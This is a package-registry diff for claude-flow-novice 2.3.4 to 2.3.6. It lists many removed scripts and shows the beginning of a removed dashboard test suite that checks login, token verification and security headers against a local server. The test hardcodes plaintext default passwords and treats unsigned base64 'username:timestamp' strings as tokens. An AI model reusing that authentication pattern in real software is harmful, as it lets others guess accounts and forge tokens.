claude-flow-novice 2.3.4 ā 2.3.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/src/booster/performance-benchmark.js +1 -1
- package/dist/src/booster/wasm-demo.js +1 -1
- package/dist/src/cli/command-registry.js +2 -2
- package/dist/src/cli/help-formatter.js +137 -109
- package/dist/src/cli/simple-cli.js +2528 -2121
- package/dist/src/cli/simple-commands/sparc/refinement.js +3 -3
- package/dist/src/cli/validation-helper.js +98 -49
- package/dist/src/commands/suggest-templates.js +4 -4
- package/dist/src/core/version.js +23 -15
- package/dist/src/memory/swarm-memory.js +603 -470
- package/dist/src/slash-commands/fullstack.js +2 -2
- package/dist/src/slash-commands/parse-epic.js +1 -1
- package/package.json +1 -1
- package/scripts/postinstall.js +41 -31
- package/dist/scripts/.claude-flow/metrics/agent-metrics.json +0 -1
- package/dist/scripts/.claude-flow/metrics/performance.json +0 -9
- package/dist/scripts/.claude-flow/metrics/task-metrics.json +0 -10
- package/dist/scripts/CLEANUP_OPTIMIZATION_REPORT.json +0 -312
- package/dist/scripts/CLEANUP_PERFORMANCE_OPTIMIZATION.md +0 -387
- package/dist/scripts/CLEANUP_QUICK_START.md +0 -268
- package/dist/scripts/CLEANUP_TEST_RESULTS.md +0 -205
- package/dist/scripts/README.md +0 -339
- package/dist/scripts/ace-query.sh +0 -384
- package/dist/scripts/agent-token-analysis.js +0 -430
- package/dist/scripts/auto-setup.js +0 -332
- package/dist/scripts/build/README.md +0 -167
- package/dist/scripts/build/build-config.js +0 -27
- package/dist/scripts/build/build-prompt-copier.sh +0 -30
- package/dist/scripts/build/performance-monitor.js +0 -869
- package/dist/scripts/build/prepare-publish.js +0 -150
- package/dist/scripts/build/typescript-fixer.js +0 -621
- package/dist/scripts/build/unified-builder.sh +0 -428
- package/dist/scripts/build/update-bin-version.js +0 -32
- package/dist/scripts/build/validate-agents.js +0 -238
- package/dist/scripts/build-index.js +0 -43
- package/dist/scripts/build-orchestrator.js +0 -320
- package/dist/scripts/check-routing-stats.cjs +0 -122
- package/dist/scripts/ci-validation.js +0 -375
- package/dist/scripts/cleanup-blocking-coordination.sh +0 -420
- package/dist/scripts/cleanup-idle-sessions.sh +0 -118
- package/dist/scripts/collect-build-metrics.js +0 -65
- package/dist/scripts/demo/README.md +0 -79
- package/dist/scripts/demo/autoscaling-demo-simplified.js +0 -963
- package/dist/scripts/demo/comprehensive-dashboard-test.js +0 -693
- package/dist/scripts/demo/confidence-log.js +0 -87
- package/dist/scripts/demo/confidence-report.js +0 -82
- package/dist/scripts/demo/demo-multi-swarm-coordination.js +0 -325
- package/dist/scripts/demo/demo-production-deployment.js +0 -399
- package/dist/scripts/demo/demo-visualization-system.js +0 -149
- package/dist/scripts/demo/performance-analysis.cjs +0 -71
- package/dist/scripts/demo/performance-analysis.js +0 -71
- package/dist/scripts/demo/test-autoscaling-demo.js +0 -314
- package/dist/scripts/dependency-optimizer.js +0 -349
- package/dist/scripts/dependency-security-assessment.js +0 -331
- package/dist/scripts/deploy-sdk.sh +0 -176
- package/dist/scripts/deployment-readiness-report.json +0 -179
- package/dist/scripts/dev/README.md +0 -264
- package/dist/scripts/dev/claude-flow-wrapper.sh +0 -35
- package/dist/scripts/dev/claude-monitor.py +0 -419
- package/dist/scripts/dev/claude-sparc.sh +0 -562
- package/dist/scripts/dev/claude-wrapper.sh +0 -17
- package/dist/scripts/dev/demo-phase3-compliance.js +0 -172
- package/dist/scripts/dev/demo-task-system.ts +0 -224
- package/dist/scripts/dev/deployment-validator.js +0 -315
- package/dist/scripts/dev/spawn-claude-terminal.sh +0 -32
- package/dist/scripts/dev/start-portal.sh +0 -506
- package/dist/scripts/dev/start-web-ui.js +0 -15
- package/dist/scripts/dev/stop-portal.sh +0 -311
- package/dist/scripts/dev/validate-examples.ts +0 -288
- package/dist/scripts/dev/validate-phase2.cjs +0 -451
- package/dist/scripts/dev/validate-phase2.js +0 -785
- package/dist/scripts/dev/validate-phase3.cjs +0 -208
- package/dist/scripts/dev/validate-security-remediation.js +0 -1
- package/dist/scripts/ecosystem.config.cjs +0 -90
- package/dist/scripts/enhanced-memory-spiral-killer.sh +0 -221
- package/dist/scripts/fix-js-extensions.js +0 -167
- package/dist/scripts/generate-basic-types.js +0 -73
- package/dist/scripts/generate-changelog.js +0 -318
- package/dist/scripts/git-hooks/pre-commit.sh +0 -143
- package/dist/scripts/health-checks.js +0 -634
- package/dist/scripts/hook-wrapper.sh +0 -54
- package/dist/scripts/install/README.md +0 -375
- package/dist/scripts/install/REDIS_SETUP_VALIDATION.json +0 -245
- package/dist/scripts/install/check-prerequisites.js +0 -303
- package/dist/scripts/install/config-wizard.js +0 -606
- package/dist/scripts/install/dependency-checker.js +0 -385
- package/dist/scripts/install/health-check.js +0 -765
- package/dist/scripts/install/install.js +0 -256
- package/dist/scripts/install/installation-benchmark.js +0 -461
- package/dist/scripts/install/quick-install.js +0 -720
- package/dist/scripts/install/quick-start-wizard.js +0 -295
- package/dist/scripts/install/redis-cli.js +0 -289
- package/dist/scripts/install/redis-install-guides.md +0 -407
- package/dist/scripts/install/redis-setup.js +0 -559
- package/dist/scripts/install/redis-test.js +0 -278
- package/dist/scripts/install/service-manager.js +0 -672
- package/dist/scripts/install/setup.js +0 -832
- package/dist/scripts/install/uninstall.js +0 -526
- package/dist/scripts/install/update.js +0 -461
- package/dist/scripts/install-pre-commit-hook.sh +0 -127
- package/dist/scripts/legacy/README.md +0 -272
- package/dist/scripts/legacy/batch-fix-ts.sh +0 -54
- package/dist/scripts/legacy/build-migration.sh +0 -105
- package/dist/scripts/legacy/build-monitor.js +0 -209
- package/dist/scripts/legacy/build-with-filter.sh +0 -84
- package/dist/scripts/legacy/build-workaround.sh +0 -71
- package/dist/scripts/legacy/fix-ts-advanced.js +0 -358
- package/dist/scripts/legacy/fix-ts-final.sh +0 -50
- package/dist/scripts/legacy/fix-ts-targeted.sh +0 -49
- package/dist/scripts/legacy/fix-typescript-errors.js +0 -305
- package/dist/scripts/legacy/force-build.sh +0 -63
- package/dist/scripts/legacy/optimize-performance.js +0 -400
- package/dist/scripts/legacy/performance-monitor.js +0 -263
- package/dist/scripts/legacy/performance-monitoring.js +0 -532
- package/dist/scripts/legacy/performance-test-runner.js +0 -645
- package/dist/scripts/legacy/quick-fix-ts.js +0 -281
- package/dist/scripts/legacy/safe-build.sh +0 -63
- package/dist/scripts/memory-monitor-coordinator.js +0 -451
- package/dist/scripts/migrate-to-sdk.sh +0 -520
- package/dist/scripts/migration/QUICK-START.md +0 -189
- package/dist/scripts/migration/QUICK-START.md.backup-1760135091363 +0 -189
- package/dist/scripts/migration/README.md +0 -464
- package/dist/scripts/migration/TASK-1.3.2-COMPLETION-REPORT.md +0 -500
- package/dist/scripts/migration/TASK-1.3.2-COMPLETION-REPORT.md.backup-1760135091348 +0 -500
- package/dist/scripts/migration/UPDATE-PATHS-README.md +0 -464
- package/dist/scripts/migration/UPDATE-PATHS-README.md.backup-1760135091337 +0 -464
- package/dist/scripts/migration/example-patterns.json +0 -19
- package/dist/scripts/migration/install-arm64.js +0 -78
- package/dist/scripts/migration/install.js +0 -83
- package/dist/scripts/migration/migrate-hooks.js +0 -173
- package/dist/scripts/migration/migration-examples.ts +0 -318
- package/dist/scripts/migration/reorganize-workspace.js +0 -504
- package/dist/scripts/migration/test-update-paths.js +0 -359
- package/dist/scripts/migration/update-paths.js +0 -664
- package/dist/scripts/migration/validate-migration.js +0 -647
- package/dist/scripts/monitor-loop.sh +0 -65
- package/dist/scripts/monitor-memory.sh +0 -47
- package/dist/scripts/monitor-migration.js +0 -339
- package/dist/scripts/monitor.py +0 -43
- package/dist/scripts/monitoring/README.md +0 -178
- package/dist/scripts/monitoring/alert-monitor.sh +0 -220
- package/dist/scripts/monitoring/analyze-resources.sh +0 -199
- package/dist/scripts/monitoring/dashboards/rate-limiting-dashboard.json +0 -211
- package/dist/scripts/monitoring/dynamic-monitor.sh +0 -85
- package/dist/scripts/monitoring/launch-stability-test.sh +0 -184
- package/dist/scripts/monitoring/monitor-test.sh +0 -93
- package/dist/scripts/monitoring/pre-test-validation.sh +0 -208
- package/dist/scripts/monitoring/quick-test-alerting.sh +0 -118
- package/dist/scripts/monitoring/quick-test-rate-limiting.sh +0 -206
- package/dist/scripts/monitoring/rate-limiting-monitor.sh +0 -380
- package/dist/scripts/monitoring/resource-monitor.sh +0 -126
- package/dist/scripts/monitoring/stability-monitor.js +0 -429
- package/dist/scripts/monitoring/test-monitor-quick.sh +0 -54
- package/dist/scripts/monitoring/view-alerts.sh +0 -307
- package/dist/scripts/npm-metrics-collector.js +0 -482
- package/dist/scripts/npm-package-validation.cjs +0 -299
- package/dist/scripts/optimization/build-optimizer.js +0 -438
- package/dist/scripts/optimization/config-validator.js +0 -761
- package/dist/scripts/optimization/test-optimization.js +0 -432
- package/dist/scripts/optimization/unified-activation.js +0 -839
- package/dist/scripts/optimize-package-swarm.js +0 -54
- package/dist/scripts/performance/ACTIVATION_COMMANDS.md +0 -292
- package/dist/scripts/performance/sqlite-enhanced-activation.sh +0 -583
- package/dist/scripts/performance/test-enhanced-backend.sh +0 -504
- package/dist/scripts/performance-monitor.js +0 -644
- package/dist/scripts/performance-test-runner.js +0 -698
- package/dist/scripts/post-deployment-monitoring.js +0 -350
- package/dist/scripts/post-edit-pipeline.js +0 -2091
- package/dist/scripts/post-install-claude-md.js +0 -78
- package/dist/scripts/postinstall.js +0 -84
- package/dist/scripts/pre-publish-validation.cjs +0 -212
- package/dist/scripts/pre-publish-validation.js +0 -429
- package/dist/scripts/redis-lua/cleanup-blocking-coordination.lua +0 -198
- package/dist/scripts/release-announcement.js +0 -425
- package/dist/scripts/release-notification.js +0 -248
- package/dist/scripts/release-rollback.js +0 -376
- package/dist/scripts/release-validation.js +0 -460
- package/dist/scripts/rollback-sdk.sh +0 -66
- package/dist/scripts/run-production-validation.ts +0 -590
- package/dist/scripts/run-stability-validation.sh +0 -687
- package/dist/scripts/security/README.md +0 -339
- package/dist/scripts/security/deployment-validation.cjs +0 -279
- package/dist/scripts/security/envelope-encryption-confidence-report.cjs +0 -422
- package/dist/scripts/security/install-git-hooks.sh +0 -132
- package/dist/scripts/security/install-git-secrets.sh +0 -295
- package/dist/scripts/security/rotate-api-keys.js +0 -469
- package/dist/scripts/security/ruv-swarm-safe.js +0 -74
- package/dist/scripts/security/security-audit.cjs +0 -538
- package/dist/scripts/security/setup-redis-auth.sh +0 -397
- package/dist/scripts/security/validate-envelope-encryption.cjs +0 -340
- package/dist/scripts/security-scan.js +0 -492
- package/dist/scripts/src/web/frontend/.claude-flow/metrics/agent-metrics.json +0 -1
- package/dist/scripts/src/web/frontend/.claude-flow/metrics/performance.json +0 -9
- package/dist/scripts/src/web/frontend/.claude-flow/metrics/task-metrics.json +0 -10
- package/dist/scripts/switch-api.sh +0 -159
- package/dist/scripts/sync-agents.js +0 -290
- package/dist/scripts/test/50-agent-test.js +0 -625
- package/dist/scripts/test/NEW_STABILITY_TEST_GUIDE.md +0 -407
- package/dist/scripts/test/README.md +0 -236
- package/dist/scripts/test/STABILITY_TEST_EXAMPLE.md +0 -347
- package/dist/scripts/test/STABILITY_TEST_README.md +0 -480
- package/dist/scripts/test/agent-worker.js +0 -309
- package/dist/scripts/test/ai-coordination-test.js +0 -650
- package/dist/scripts/test/ai-mesh-coordination-test.js +0 -416
- package/dist/scripts/test/check-links.ts +0 -274
- package/dist/scripts/test/check-performance-regression.ts +0 -168
- package/dist/scripts/test/cli-agent-coordination-test.js +0 -313
- package/dist/scripts/test/coordinator-multilingual-test.js +0 -396
- package/dist/scripts/test/coordinator-transparency-demo.js +0 -585
- package/dist/scripts/test/coverage-report.ts +0 -692
- package/dist/scripts/test/generate-swarm-tests.js +0 -633
- package/dist/scripts/test/integration-test-validation.cjs +0 -253
- package/dist/scripts/test/load-test-swarm.js +0 -576
- package/dist/scripts/test/mesh-coordination-zero-overlap-test.js +0 -740
- package/dist/scripts/test/multilingual-hello-world-test.js +0 -390
- package/dist/scripts/test/quick-multilingual-demo.js +0 -464
- package/dist/scripts/test/real-agent-test.js +0 -312
- package/dist/scripts/test/run-phase3-compliance-tests.js +0 -427
- package/dist/scripts/test/run-stability-test-examples.sh +0 -292
- package/dist/scripts/test/stability-results/stability-metrics.jsonl +0 -83
- package/dist/scripts/test/stability-results/stability-test-report.json +0 -128
- package/dist/scripts/test/stability-results/stability-test.log +0 -1827
- package/dist/scripts/test/stability-test-50-agents.js +0 -734
- package/dist/scripts/test/test-batch-tasks.ts +0 -29
- package/dist/scripts/test/test-byzantine-resolution.js +0 -246
- package/dist/scripts/test/test-claude-spawn-options.sh +0 -63
- package/dist/scripts/test/test-cli-wizard.js +0 -331
- package/dist/scripts/test/test-comprehensive.js +0 -401
- package/dist/scripts/test/test-coordination-features.ts +0 -238
- package/dist/scripts/test/test-fallback-systems.js +0 -276
- package/dist/scripts/test/test-init-command.ts +0 -302
- package/dist/scripts/test/test-mcp.ts +0 -251
- package/dist/scripts/test/test-runner.ts +0 -568
- package/dist/scripts/test/test-swarm-integration.sh +0 -92
- package/dist/scripts/test/test-swarm.ts +0 -142
- package/dist/scripts/test/validation-summary.ts +0 -408
- package/dist/scripts/test-cleanup-performance.sh +0 -416
- package/dist/scripts/test-dashboard-auth.cjs +0 -203
- package/dist/scripts/test-docker-deployment.sh +0 -207
- package/dist/scripts/test-npm-package.cjs +0 -167
- package/dist/scripts/test-provider-routing.cjs +0 -226
- package/dist/scripts/test-routing-telemetry.cjs +0 -147
- package/dist/scripts/test-runner.cjs +0 -154
- package/dist/scripts/test-zai-10k.cjs +0 -81
- package/dist/scripts/test-zai-api.cjs +0 -191
- package/dist/scripts/test-zai-diagnostic.cjs +0 -151
- package/dist/scripts/test-zai-final.cjs +0 -128
- package/dist/scripts/test-zai-with-env.cjs +0 -85
- package/dist/scripts/toggle-cost-savings.cjs +0 -302
- package/dist/scripts/unified-memory-monitor.js +0 -526
- package/dist/scripts/utils/README.md +0 -261
- package/dist/scripts/utils/clean-build-artifacts.sh +0 -94
- package/dist/scripts/utils/cleanup-root.sh +0 -69
- package/dist/scripts/utils/fix-cliffy-imports.js +0 -307
- package/dist/scripts/utils/fix-duplicate-imports.js +0 -114
- package/dist/scripts/utils/fix-error-handling.cjs +0 -70
- package/dist/scripts/utils/fix-import-paths.js +0 -104
- package/dist/scripts/utils/fix-imports.js +0 -116
- package/dist/scripts/utils/fix-shebang.js +0 -78
- package/dist/scripts/utils/fix-test-modules.js +0 -27
- package/dist/scripts/utils/fix-timezone-issue-246.js +0 -200
- package/dist/scripts/utils/fix-ts-comprehensive.py +0 -182
- package/dist/scripts/utils/fix-ts-targeted-batch.js +0 -250
- package/dist/scripts/utils/remove-benchmark-conflicts.sh +0 -140
- package/dist/scripts/utils/simple-test-fixer.js +0 -190
- package/dist/scripts/utils/validate-metrics-structure.cjs +0 -144
- package/dist/scripts/validate-agent-hooks.js +0 -506
- package/dist/scripts/validate-changelog.js +0 -241
- package/dist/scripts/validate-coordination-cli.js +0 -69
- package/dist/scripts/validate-coordination-toggle-integration.cjs +0 -501
- package/dist/scripts/validate-docker-infrastructure.sh +0 -502
- package/dist/scripts/validate-entry-points.js +0 -300
- package/dist/scripts/validate-memory-monitoring.sh +0 -225
- package/dist/scripts/validate-stage3-performance.ts +0 -377
- package/dist/scripts/validate-template-bundling.js +0 -180
- package/dist/scripts/validation/README.md +0 -33
- package/dist/scripts/validation/acl-security-validation.cjs +0 -214
- package/dist/scripts/validation/acl-security-validation.js +0 -402
- package/dist/scripts/validation/byzantine-verification.js +0 -407
- package/dist/scripts/validation/final-phase-2-consensus.cjs +0 -219
- package/dist/scripts/validation/final-security-validation.js +0 -791
- package/dist/scripts/validation/final-wasm-validation.cjs +0 -840
- package/dist/scripts/validation/integration-test-analysis.js +0 -105
- package/dist/scripts/validation/phase-0-comprehensive-validation.js +0 -474
- package/dist/scripts/validation/phase-0-consensus-report.js +0 -139
- package/dist/scripts/validation/phase-0-final-report.js +0 -112
- package/dist/scripts/validation/phase-0-redis-consensus-report.js +0 -129
- package/dist/scripts/validation/phase-0-validation-improved.js +0 -490
- package/dist/scripts/validation/phase-0-validation-test.js +0 -65
- package/dist/scripts/validation/phase-1-consensus-report.cjs +0 -342
- package/dist/scripts/validation/phase-1-consensus-validation.cjs +0 -551
- package/dist/scripts/validation/phase-1-consensus-validation.js +0 -551
- package/dist/scripts/validation/phase-2-consensus-report.cjs +0 -186
- package/dist/scripts/validation/phase-2-validation.cjs +0 -171
- package/dist/scripts/validation/phase-2-validation.js +0 -171
- package/dist/scripts/validation/phase-4-consensus-report.js +0 -181
- package/dist/scripts/validation/phase-4-final-validation.js +0 -351
- package/dist/scripts/validation/phase-5-consensus-report.cjs +0 -113
- package/dist/scripts/validation/phase-5-consensus-report.js +0 -113
- package/dist/scripts/validation/security-analysis.js +0 -49
- package/dist/scripts/validation/security-validation.js +0 -492
- package/dist/scripts/validation/simple-security-validation.js +0 -464
- package/dist/scripts/verify-installation.js +0 -112
- package/dist/scripts/verify-mcp-server.js +0 -86
- package/dist/scripts/verify-sdk-phase1.cjs +0 -293
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/accessibility/browser/accessibilityService.js +0 -88
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/accessibility/common/accessibility.js +0 -9
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/action/common/action.js +0 -7
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/action/common/actionCommonCategories.js +0 -13
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/actionWidget/browser/actionList.js +0 -276
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/actionWidget/browser/actionWidget.js +0 -248
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/actionWidget/common/actionWidget.js +0 -5
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/actions/common/actions.js +0 -409
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/audioCues/browser/audioCueService.js +0 -176
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/clipboard/browser/clipboardService.js +0 -141
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/clipboard/common/clipboardService.js +0 -6
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/commands/common/commands.js +0 -80
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/configuration/common/configuration.js +0 -86
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/configuration/common/configurationModels.js +0 -554
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/configuration/common/configurationRegistry.js +0 -317
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/configuration/common/configurations.js +0 -41
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/contextkey/browser/contextKeyService.js +0 -432
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/contextkey/common/contextkey.js +0 -1547
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/contextkey/common/contextkeys.js +0 -18
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/contextview/browser/contextMenuHandler.js +0 -124
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/contextview/browser/contextMenuService.js +0 -101
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/contextview/browser/contextView.js +0 -7
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/contextview/browser/contextViewService.js +0 -72
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/dialogs/common/dialogs.js +0 -2
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/dnd/browser/dnd.js +0 -36
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/editor/common/editor.js +0 -17
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/environment/common/environment.js +0 -2
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/extensions/common/extensions.js +0 -47
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/files/common/files.js +0 -9
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/history/browser/contextScopedHistoryWidget.js +0 -105
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/instantiation/common/descriptors.js +0 -11
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/instantiation/common/extensions.js +0 -15
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/keybinding/common/abstractKeybindingService.js +0 -277
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/keybinding/common/baseResolvedKeybinding.js +0 -53
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/quickinput/browser/commandsQuickAccess.js +0 -354
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/theme/browser/defaultStyles.js +0 -162
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/esm/vs/platform/theme/common/colorRegistry.js +0 -482
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/min/vs/basic-languages/abap/abap.js +0 -10
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/min/vs/basic-languages/apex/apex.js +0 -10
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/min/vs/basic-languages/azcli/azcli.js +0 -10
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/min/vs/basic-languages/bat/bat.js +0 -10
- package/dist/src/web/frontend/node_modules/.monaco-editor-MndU045b/min/vs/basic-languages/bicep/bicep.js +0 -11
|
@@ -1,693 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env node
|
|
2
|
-
|
|
3
|
-
/**
|
|
4
|
-
* Comprehensive Dashboard Testing Suite
|
|
5
|
-
* Tests all dashboard fixes with real multi-swarm scenarios
|
|
6
|
-
*/
|
|
7
|
-
|
|
8
|
-
import axios from 'axios';
|
|
9
|
-
import io from 'socket.io-client';
|
|
10
|
-
import { performance } from 'perf_hooks';
|
|
11
|
-
|
|
12
|
-
class DashboardTestSuite {
|
|
13
|
-
constructor() {
|
|
14
|
-
this.baseURL = 'http://localhost:3001';
|
|
15
|
-
this.testResults = {
|
|
16
|
-
authentication: {},
|
|
17
|
-
csp: {},
|
|
18
|
-
realtime: {},
|
|
19
|
-
performance: {},
|
|
20
|
-
multiSwarm: {},
|
|
21
|
-
security: {}
|
|
22
|
-
};
|
|
23
|
-
this.metrics = [];
|
|
24
|
-
this.socket = null;
|
|
25
|
-
this.testStartTime = performance.now();
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
async runAllTests() {
|
|
29
|
-
console.log('š Starting Comprehensive Dashboard Testing Suite');
|
|
30
|
-
console.log('=' .repeat(60));
|
|
31
|
-
|
|
32
|
-
try {
|
|
33
|
-
// Test 1: Authentication System
|
|
34
|
-
await this.testAuthenticationSystem();
|
|
35
|
-
|
|
36
|
-
// Test 2: CSP Policy Enforcement
|
|
37
|
-
await this.testCSPPolicies();
|
|
38
|
-
|
|
39
|
-
// Test 3: Real-time Updates
|
|
40
|
-
await this.testRealtimeUpdates();
|
|
41
|
-
|
|
42
|
-
// Test 4: Multi-Swarm Execution Display
|
|
43
|
-
await this.testMultiSwarmExecution();
|
|
44
|
-
|
|
45
|
-
// Test 5: Performance with 1000+ Agents
|
|
46
|
-
await this.testPerformanceWithLargeSwarm();
|
|
47
|
-
|
|
48
|
-
// Test 6: Security Hardening
|
|
49
|
-
await this.testSecurityHardening();
|
|
50
|
-
|
|
51
|
-
// Generate comprehensive report
|
|
52
|
-
await this.generateTestReport();
|
|
53
|
-
|
|
54
|
-
} catch (error) {
|
|
55
|
-
console.error('ā Test suite failed:', error);
|
|
56
|
-
throw error;
|
|
57
|
-
}
|
|
58
|
-
}
|
|
59
|
-
|
|
60
|
-
async testAuthenticationSystem() {
|
|
61
|
-
console.log('\nš Testing Authentication System');
|
|
62
|
-
console.log('-'.repeat(40));
|
|
63
|
-
|
|
64
|
-
try {
|
|
65
|
-
// Test valid credentials
|
|
66
|
-
const validUsers = [
|
|
67
|
-
{ username: 'admin', password: 'claude2025' },
|
|
68
|
-
{ username: 'monitor', password: 'dashboard2025' },
|
|
69
|
-
{ username: 'fleet', password: 'manager2025' }
|
|
70
|
-
];
|
|
71
|
-
|
|
72
|
-
for (const user of validUsers) {
|
|
73
|
-
const response = await axios.post(`${this.baseURL}/api/auth/login`, user);
|
|
74
|
-
|
|
75
|
-
this.testResults.authentication[user.username] = {
|
|
76
|
-
success: response.data.success,
|
|
77
|
-
hasToken: !!response.data.token,
|
|
78
|
-
hasUser: !!response.data.user,
|
|
79
|
-
hasExpiry: !!response.data.expiresAt,
|
|
80
|
-
tokenValid: this.validateToken(response.data.token)
|
|
81
|
-
};
|
|
82
|
-
|
|
83
|
-
console.log(`ā
${user.username}: Login successful`);
|
|
84
|
-
}
|
|
85
|
-
|
|
86
|
-
// Test invalid credentials
|
|
87
|
-
try {
|
|
88
|
-
await axios.post(`${this.baseURL}/api/auth/login`, {
|
|
89
|
-
username: 'invalid',
|
|
90
|
-
password: 'wrong'
|
|
91
|
-
});
|
|
92
|
-
this.testResults.authentication.invalidLogin = false;
|
|
93
|
-
console.log('ā Invalid login should have failed');
|
|
94
|
-
} catch (error) {
|
|
95
|
-
this.testResults.authentication.invalidLogin = true;
|
|
96
|
-
console.log('ā
Invalid login properly rejected');
|
|
97
|
-
}
|
|
98
|
-
|
|
99
|
-
// Test token verification
|
|
100
|
-
const authResponse = await axios.post(`${this.baseURL}/api/auth/login`, {
|
|
101
|
-
username: 'admin',
|
|
102
|
-
password: 'claude2025'
|
|
103
|
-
});
|
|
104
|
-
|
|
105
|
-
const verifyResponse = await axios.post(`${this.baseURL}/api/auth/verify`, {
|
|
106
|
-
token: authResponse.data.token
|
|
107
|
-
});
|
|
108
|
-
|
|
109
|
-
this.testResults.authentication.tokenVerification = {
|
|
110
|
-
success: verifyResponse.data.success,
|
|
111
|
-
valid: verifyResponse.data.valid,
|
|
112
|
-
hasUser: !!verifyResponse.data.user
|
|
113
|
-
};
|
|
114
|
-
|
|
115
|
-
console.log('ā
Token verification working');
|
|
116
|
-
|
|
117
|
-
} catch (error) {
|
|
118
|
-
console.error('ā Authentication test failed:', error.message);
|
|
119
|
-
this.testResults.authentication.error = error.message;
|
|
120
|
-
}
|
|
121
|
-
}
|
|
122
|
-
|
|
123
|
-
validateToken(token) {
|
|
124
|
-
try {
|
|
125
|
-
const decoded = Buffer.from(token, 'base64').toString();
|
|
126
|
-
const [username, timestamp] = decoded.split(':');
|
|
127
|
-
return username && timestamp && !isNaN(parseInt(timestamp));
|
|
128
|
-
} catch {
|
|
129
|
-
return false;
|
|
130
|
-
}
|
|
131
|
-
}
|
|
132
|
-
|
|
133
|
-
async testCSPPolicies() {
|
|
134
|
-
console.log('\nš”ļø Testing CSP Policy Enforcement');
|
|
135
|
-
console.log('-'.repeat(40));
|
|
136
|
-
|
|
137
|
-
try {
|
|
138
|
-
const response = await axios.get(`${this.baseURL}/`);
|
|
139
|
-
|
|
140
|
-
// Check CSP header
|
|
141
|
-
const cspHeader = response.headers['content-security-policy'];
|
|
142
|
-
if (cspHeader) {
|
|
143
|
-
this.testResults.csp.cspHeaderPresent = true;
|
|
144
|
-
this.testResults.csp.cspValue = cspHeader;
|
|
145
|
-
|
|
146
|
-
// Validate CSP directives
|
|
147
|
-
const requiredDirectives = [
|
|
148
|
-
"default-src 'self'",
|
|
149
|
-
"script-src 'self'",
|
|
150
|
-
"style-src 'self'",
|
|
151
|
-
"frame-src 'none'",
|
|
152
|
-
"object-src 'none'"
|
|
153
|
-
];
|
|
154
|
-
|
|
155
|
-
this.testResults.csp.directivesValid = requiredDirectives.every(dir =>
|
|
156
|
-
cspHeader.includes(dir)
|
|
157
|
-
);
|
|
158
|
-
|
|
159
|
-
console.log('ā
CSP header present and valid');
|
|
160
|
-
} else {
|
|
161
|
-
this.testResults.csp.cspHeaderPresent = false;
|
|
162
|
-
console.log('ā CSP header missing');
|
|
163
|
-
}
|
|
164
|
-
|
|
165
|
-
// Check other security headers
|
|
166
|
-
const securityHeaders = {
|
|
167
|
-
'X-Content-Type-Options': 'nosniff',
|
|
168
|
-
'X-Frame-Options': 'DENY',
|
|
169
|
-
'X-XSS-Protection': '1; mode=block',
|
|
170
|
-
'Referrer-Policy': 'strict-origin-when-cross-origin'
|
|
171
|
-
};
|
|
172
|
-
|
|
173
|
-
this.testResults.csp.securityHeaders = {};
|
|
174
|
-
|
|
175
|
-
for (const [header, expectedValue] of Object.entries(securityHeaders)) {
|
|
176
|
-
const actualValue = response.headers[header.toLowerCase()];
|
|
177
|
-
this.testResults.csp.securityHeaders[header] = {
|
|
178
|
-
present: !!actualValue,
|
|
179
|
-
correct: actualValue === expectedValue
|
|
180
|
-
};
|
|
181
|
-
|
|
182
|
-
if (actualValue === expectedValue) {
|
|
183
|
-
console.log(`ā
${header}: ${actualValue}`);
